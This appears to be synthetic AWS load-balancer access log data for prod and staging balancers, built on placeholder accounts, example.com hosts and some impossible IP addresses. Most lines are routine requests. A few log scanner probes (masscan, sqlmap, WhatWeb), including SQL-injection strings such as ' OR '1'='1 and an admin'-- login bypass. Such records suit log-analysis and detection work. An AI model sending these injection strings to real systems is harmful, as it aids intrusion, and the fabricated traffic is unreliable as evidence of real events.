AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcd8-f1c76ffe4b7340e99029bd46" "prod-api-alb.example.com" "-" 8 2024-11-01T00:22:32.348422Z "forward" "-" "-" "10.0.74.201:443" "302" "-" "-" -https 2024-11-01T00:22:34.161604Z prod-web-alb 193.83.205.157:42749 10.0.34.88:443 0.031409 0.423041 0.090612 404 404 825 1977 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcda-fe37846f2b4b410aa5406a96" "prod-web-alb.example.com" "-" 4 2024-11-01T00:22:34.161604Z "forward" "-" "-" "10.0.34.88:443" "404" "-" "-" -https 2024-11-01T00:22:35.151054Z staging-alb 185.181.76.214:36463 58.5.213.95:8080 0.067692 0.563492 0.100175 500 500 603 280 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcdb-d1b0ca5a45f14ff28fb8ec74" "-" "-" 8 2024-11-01T00:22:35.151054Z "forward" "-" "-" "58.5.213.95:8080" "500" "-" "-" -https 2024-11-01T00:22:35.959471Z staging-alb 191.13.11.112:47586 191.73.83.179:8080 0.077042 0.151394 0.072077 301 301 423 1666 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcdb-75f4d56558c449a9b3e101a7" "staging-alb.example.com" "-" 3 2024-11-01T00:22:35.959471Z "forward" "-" "-" "191.73.83.179:8080" "301" "-" "-" -https 2024-11-01T00:22:36.603104Z prod-api-alb 87.221.158.147:61758 10.0.34.59:443 0.031584 0.481903 0.037774 200 200 443 3771 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcdc-0582b923da7e4bd299323082" "prod-api-alb.example.com" "-" 0 2024-11-01T00:22:36.603104Z "forward" "-" "-" "10.0.34.59:443" "200" "-" "-" -https 2024-11-01T00:22:38.502544Z staging-alb 162.249.241.97:32099 71.255.233.176:80 0.100910 0.543133 0.062149 200 200 434 1596 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcde-6ad74e4abd7e453794ab0eb2" "staging-alb.example.com" "-" 9 2024-11-01T00:22:38.502544Z "forward" "-" "-" "71.255.233.176:80" "200" "-" "-" -https 2024-11-01T00:22:39.833292Z prod-api-alb 8.94.220.68:52358 10.0.2.73:443 0.018436 0.332610 0.046087 200 200 683 5177 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcdf-fe3fad1d7bee479fa3c6b801" "prod-api-alb.example.com" "-" 9 2024-11-01T00:22:39.833292Z "forward" "-" "-" "10.0.2.73:443" "200" "-" "-" -https 2024-11-01T00:22:41.222519Z prod-web-alb 112.208.143.128:16373 10.0.155.197:443 0.001026 0.091929 0.072787 200 200 577 10096 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce1-43ea824eaa0e433b8a7ff284" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:41.222519Z "forward" "-" "-" "10.0.155.197:443" "200" "-" "-" -https 2024-11-01T00:22:42.527478Z prod-web-alb 163.23.138.149:53474 10.0.106.69:443 0.071243 0.268987 0.075891 302 302 409 1223 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce2-5bc39d43ba6049a38f1cd3dd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:42.527478Z "forward" "-" "-" "10.0.106.69:443" "302" "-" "-" -https 2024-11-01T00:22:43.990024Z prod-web-alb 92.118.189.213:25912 10.0.8.51:443 0.078736 0.183982 0.048010 200 200 272 12579 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce3-d57dcc63d69e44dfb9f8cf4c" "prod-web-alb.example.com" "-" 6 2024-11-01T00:22:43.990024Z "forward" "-" "-" "10.0.8.51:443" "200" "-" "-" -http 2024-11-01T00:22:44.095663Z staging-alb 45.155.205.9:27720 92.0.95.150:8080 0.075659 0.281660 0.123473 404 404 456 14297 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bce4-f679037349e346a09e591976" "-" "-" 9 2024-11-01T00:22:44.095663Z "forward" "-" "-" "92.0.95.150:8080" "404" "-" "-" -https 2024-11-01T00:22:44.290407Z staging-alb 236.222.32.179:49259 224.45.3.25:8080 0.037853 0.580246 0.040196 200 200 73 4868 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bce4-addc9d26b2834c6e859f8d7e" "staging-alb.example.com" "-" 2 2024-11-01T00:22:44.290407Z "forward" "-" "-" "224.45.3.25:8080" "200" "-" "-" -https 2024-11-01T00:22:46.012052Z prod-web-alb 15.111.167.104:15414 10.0.3.214:443 0.038858 0.193146 0.046525 200 200 681 6474 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bce6-45d135ccc0f74b9b849b7af7" "prod-web-alb.example.com" "-" 2 2024-11-01T00:22:46.012052Z "forward" "-" "-" "10.0.3.214:443" "200" "-" "-" -https 2024-11-01T00:22:47.976378Z prod-web-alb 194.237.75.176:45285 10.0.38.197:443 0.014040 0.426119 0.025173 200 200 977 4178 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bce7-21a9b25d800142d8b7274d79" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:47.976378Z "forward" "-" "-" "10.0.38.197:443" "200" "-" "-" -http 2024-11-01T00:22:49.150198Z staging-alb 31.180.98.211:31413 178.176.200.231:80 0.056302 0.553221 0.032389 200 200 432 5274 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bce9-b8d49acc47ee4b71a7c42950" "staging-alb.example.com" "-" 9 2024-11-01T00:22:49.150198Z "forward" "-" "-" "178.176.200.231:80" "200" "-" "-" -https 2024-11-01T00:22:51.128017Z staging-alb 90.144.252.58:15362 69.24.4.110:443 0.069237 0.440165 0.104145 200 200 473 747 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bceb-4543a5497c6147469ec378a0" "staging-alb.example.com" "-" 6 2024-11-01T00:22:51.128017Z "forward" "-" "-" "69.24.4.110:443" "200" "-" "-" -https 2024-11-01T00:22:51.715639Z prod-api-alb 245.195.236.5:34494 10.0.142.199:443 0.059397 0.209351 0.030856 404 404 507 6376 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bceb-e68afd9755ed469da4a8fb61" "prod-api-alb.example.com" "-" 2 2024-11-01T00:22:51.715639Z "forward" "-" "-" "10.0.142.199:443" "404" "-" "-" -https 2024-11-01T00:22:52.970261Z prod-web-alb 42.29.234.216:18757 10.0.228.102:443 0.022359 0.149031 0.083513 200 200 964 13737 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcec-f7fb30acaebf43cb899d8f58" "prod-web-alb.example.com" "-" 8 2024-11-01T00:22:52.970261Z "forward" "-" "-" "10.0.228.102:443" "200" "-" "-" -https 2024-11-01T00:22:53.100198Z staging-alb 133.132.251.135:54540 136.197.44.176:8080 0.014068 0.703672 0.055641 200 200 996 6556 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bced-bf8ca764eff542b08f2f5e73" "staging-alb.example.com" "-" 1 2024-11-01T00:22:53.100198Z "forward" "-" "-" "136.197.44.176:8080" "200" "-" "-" -http 2024-11-01T00:22:53.887530Z staging-alb 250.214.111.15:46354 236.168.93.192:80 0.133307 0.096835 0.005934 404 404 299 11842 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bced-91c1f4249e6243be9f5e26b3" "staging-alb.example.com" "-" 8 2024-11-01T00:22:53.887530Z "forward" "-" "-" "236.168.93.192:80" "404" "-" "-" -https 2024-11-01T00:22:55.504378Z prod-api-alb 109.47.5.216:23446 10.0.214.5:443 0.091013 0.238478 0.074051 200 200 723 6923 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcef-2db562c3b7b94b68ba481a37" "prod-api-alb.example.com" "-" 1 2024-11-01T00:22:55.504378Z "forward" "-" "-" "10.0.214.5:443" "200" "-" "-" -http 2024-11-01T00:22:56.914067Z staging-alb 241.142.166.111:24734 238.157.81.8:80 0.021974 0.109066 0.140619 301 301 889 12937 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcf0-8178e329eaa34c11a02d47fd" "staging-alb.example.com" "-" 1 2024-11-01T00:22:56.914067Z "forward" "-" "-" "238.157.81.8:80" "301" "-" "-" -https 2024-11-01T00:22:57.976368Z prod-web-alb 1.168.97.233:19567 10.0.181.202:443 0.073827 0.455133 0.028979 301 301 115 4488 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bcf1-6b909797888a4fd998736b3e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:22:57.976368Z "forward" "-" "-" "10.0.181.202:443" "301" "-" "-" -https 2024-11-01T00:22:58.430778Z prod-api-alb 4.89.213.243:21898 10.0.210.88:443 0.084152 0.331091 0.017962 200 200 518 13204 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bcf2-2bdf68195a71452f99cb752a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:22:58.430778Z "forward" "-" "-" "10.0.210.88:443" "200" "-" "-" -https 2024-11-01T00:22:59.092707Z prod-web-alb 193.27.228.38:42832 10.0.228.243:443 0.079085 0.417237 0.052766 200 200 53 441 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcf3-018969b40cc04dd4a0037db8" "-" "-" 6 2024-11-01T00:22:59.092707Z "forward" "-" "-" "10.0.228.243:443" "200" "-" "-" -http 2024-11-01T00:23:00.496574Z staging-alb 215.4.178.93:35594 37.141.249.202:80 0.060400 0.443410 0.049624 301 301 854 4373 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcf4-ebeb92204f4b4d7d835f8e31" "staging-alb.example.com" "-" 2 2024-11-01T00:23:00.496574Z "forward" "-" "-" "37.141.249.202:80" "301" "-" "-" -https 2024-11-01T00:23:02.333541Z prod-web-alb 108.106.185.117:26719 10.0.88.114:443 0.009942 0.381712 0.045133 200 200 991 8535 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcf6-b7d6163bad3b44fe9b6b35f5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:02.333541Z "forward" "-" "-" "10.0.88.114:443" "200" "-" "-" -https 2024-11-01T00:23:03.754150Z prod-api-alb 120.254.226.33:25631 10.0.39.31:443 0.032150 0.258135 0.032210 200 200 7 8011 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bcf7-765574a81e2149b6a9420ddb" "prod-api-alb.example.com" "-" 9 2024-11-01T00:23:03.754150Z "forward" "-" "-" "10.0.39.31:443" "200" "-" "-" -http 2024-11-01T00:23:05.492171Z staging-alb 110.157.152.61:47483 3.52.210.23:443 0.047922 0.451006 0.029293 404 404 708 11942 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcf9-0970b5ecd7144e8b8f1ba4cc" "staging-alb.example.com" "-" 1 2024-11-01T00:23:05.492171Z "forward" "-" "-" "3.52.210.23:443" "404" "-" "-" -https 2024-11-01T00:23:05.667867Z staging-alb 207.23.141.223:45188 97.179.84.197:8080 0.111934 0.725037 0.061126 200 200 214 12113 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcf9-e14cf9807e314d1dade77d74" "staging-alb.example.com" "-" 5 2024-11-01T00:23:05.667867Z "forward" "-" "-" "97.179.84.197:8080" "200" "-" "-" -http 2024-11-01T00:23:07.651661Z staging-alb 203.143.11.151:58856 192.145.5.85:80 0.047390 0.197724 0.096924 200 200 973 13288 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bcfb-d4e4c0db9d634c7db817b502" "staging-alb.example.com" "-" 0 2024-11-01T00:23:07.651661Z "forward" "-" "-" "192.145.5.85:80" "200" "-" "-" -https 2024-11-01T00:23:09.144575Z prod-web-alb 255.63.76.129:60497 10.0.83.116:443 0.035497 0.201988 0.041273 301 301 190 11054 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bcfd-053a5425ddf34a15b8652a7f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:09.144575Z "forward" "-" "-" "10.0.83.116:443" "301" "-" "-" -https 2024-11-01T00:23:10.965467Z staging-alb 193.27.228.118:29500 191.93.242.89:443 0.092586 0.384881 0.094676 403 403 478 11979 "POST /metrics HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bcfe-2a50364bf1214cb686469ae7" "-" "-" 4 2024-11-01T00:23:10.965467Z "forward" "-" "-" "191.93.242.89:443" "403" "-" "-" -https 2024-11-01T00:23:12.264713Z prod-api-alb 242.57.123.233:26991 10.0.77.27:443 0.099572 0.449826 0.004265 200 200 459 6716 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd00-a1a304b764d54a2d86aaba0c" "prod-api-alb.example.com" "-" 9 2024-11-01T00:23:12.264713Z "forward" "-" "-" "10.0.77.27:443" "200" "-" "-" -https 2024-11-01T00:23:14.142918Z prod-web-alb 42.62.226.215:12169 10.0.68.4:443 0.010487 0.370861 0.093553 302 302 38 8667 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd02-e3ed672c9a414575a48ce059" "prod-web-alb.example.com" "-" 1 2024-11-01T00:23:14.142918Z "forward" "-" "-" "10.0.68.4:443" "302" "-" "-" -https 2024-11-01T00:23:15.767215Z prod-api-alb 108.7.212.173:12471 10.0.35.202:443 0.073739 0.455290 0.043015 200 200 726 3280 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd03-b1ee05430d80487a912a3642" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:15.767215Z "forward" "-" "-" "10.0.35.202:443" "200" "-" "-" -https 2024-11-01T00:23:16.678978Z staging-alb 123.64.144.13:35538 27.110.23.179:443 0.050396 0.610834 0.052282 301 301 393 9252 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd04-ff167c9f436e47749403b5c9" "staging-alb.example.com" "-" 2 2024-11-01T00:23:16.678978Z "forward" "-" "-" "27.110.23.179:443" "301" "-" "-" -https 2024-11-01T00:23:17.790216Z prod-api-alb 222.101.194.131:28499 10.0.205.50:443 0.005470 0.492018 0.012411 302 302 616 10477 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd05-bd63c396229c41d5b58fe2bb" "prod-api-alb.example.com" "-" 4 2024-11-01T00:23:17.790216Z "forward" "-" "-" "10.0.205.50:443" "302" "-" "-" -https 2024-11-01T00:23:18.381002Z prod-api-alb 191.38.57.252:39199 10.0.85.144:443 0.064886 0.429153 0.039790 200 200 250 14441 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd06-f7ab6231f0c94014a2813a7f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:18.381002Z "forward" "-" "-" "10.0.85.144:443" "200" "-" "-" -https 2024-11-01T00:23:19.177183Z prod-web-alb 135.81.186.14:53565 10.0.30.173:443 0.004289 0.343124 0.041940 404 404 139 9609 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd07-6ba21dad879840de87189c57" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:19.177183Z "forward" "-" "-" "10.0.30.173:443" "404" "-" "-" -https 2024-11-01T00:23:21.172741Z prod-api-alb 146.89.129.203:25383 10.0.231.124:443 0.091221 0.095848 0.033530 301 301 535 8143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd09-8777281a86cf44ecb9668685" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:21.172741Z "forward" "-" "-" "10.0.231.124:443" "301" "-" "-" -https 2024-11-01T00:23:21.413818Z prod-web-alb 174.159.187.154:11864 10.0.113.52:443 0.022428 0.142295 0.016623 200 200 923 7962 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd09-c6078b1e995945bebba24239" "prod-web-alb.example.com" "-" 1 2024-11-01T00:23:21.413818Z "forward" "-" "-" "10.0.113.52:443" "200" "-" "-" -http 2024-11-01T00:23:22.008359Z staging-alb 102.44.146.93:57452 8.230.145.165:8080 0.026237 0.525776 0.108009 200 200 117 7873 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0a-d12de0312cf54cce824a4d88" "staging-alb.example.com" "-" 1 2024-11-01T00:23:22.008359Z "forward" "-" "-" "8.230.145.165:8080" "200" "-" "-" -https 2024-11-01T00:23:23.583547Z prod-api-alb 129.1.132.128:14840 10.0.75.29:443 0.065860 0.396481 0.008165 200 200 260 13370 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd0b-4aa9a0fd90fd438da20b1c50" "prod-api-alb.example.com" "-" 1 2024-11-01T00:23:23.583547Z "forward" "-" "-" "10.0.75.29:443" "200" "-" "-" -https 2024-11-01T00:23:24.622722Z prod-web-alb 84.89.32.176:63307 10.0.191.137:443 0.077173 0.174108 0.058955 200 200 633 4755 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd0c-4d08916471294451888a24fd" "prod-web-alb.example.com" "-" 5 2024-11-01T00:23:24.622722Z "forward" "-" "-" "10.0.191.137:443" "200" "-" "-" -https 2024-11-01T00:23:25.066523Z staging-alb 55.137.108.186:35769 14.157.14.111:80 0.066880 0.009486 0.053429 200 200 683 826 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd0d-9bca84095ca94553afdf603e" "staging-alb.example.com" "-" 5 2024-11-01T00:23:25.066523Z "forward" "-" "-" "14.157.14.111:80" "200" "-" "-" -https 2024-11-01T00:23:25.868019Z prod-api-alb 154.9.196.176:17355 10.0.96.101:443 0.061224 0.177484 0.067997 200 200 151 12367 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd0d-b904f6ca53a3484a9a485496" "prod-api-alb.example.com" "-" 10 2024-11-01T00:23:25.868019Z "forward" "-" "-" "10.0.96.101:443" "200" "-" "-" -https 2024-11-01T00:23:26.748388Z staging-alb 245.53.35.19:28511 30.154.221.36:443 0.134246 0.017625 0.052853 200 200 319 11673 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0e-844aa31dc8914189b6d7cce1" "-" "-" 10 2024-11-01T00:23:26.748388Z "forward" "-" "-" "30.154.221.36:443" "200" "-" "-" -https 2024-11-01T00:23:27.937701Z staging-alb 109.176.3.241:15434 46.158.143.204:443 0.073447 0.399488 0.103077 200 200 161 7925 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd0f-51c9f1a3b2864e91825da9be" "staging-alb.example.com" "-" 3 2024-11-01T00:23:27.937701Z "forward" "-" "-" "46.158.143.204:443" "200" "-" "-" -https 2024-11-01T00:23:28.252395Z prod-api-alb 23.131.122.199:62547 10.0.80.5:443 0.038550 0.216139 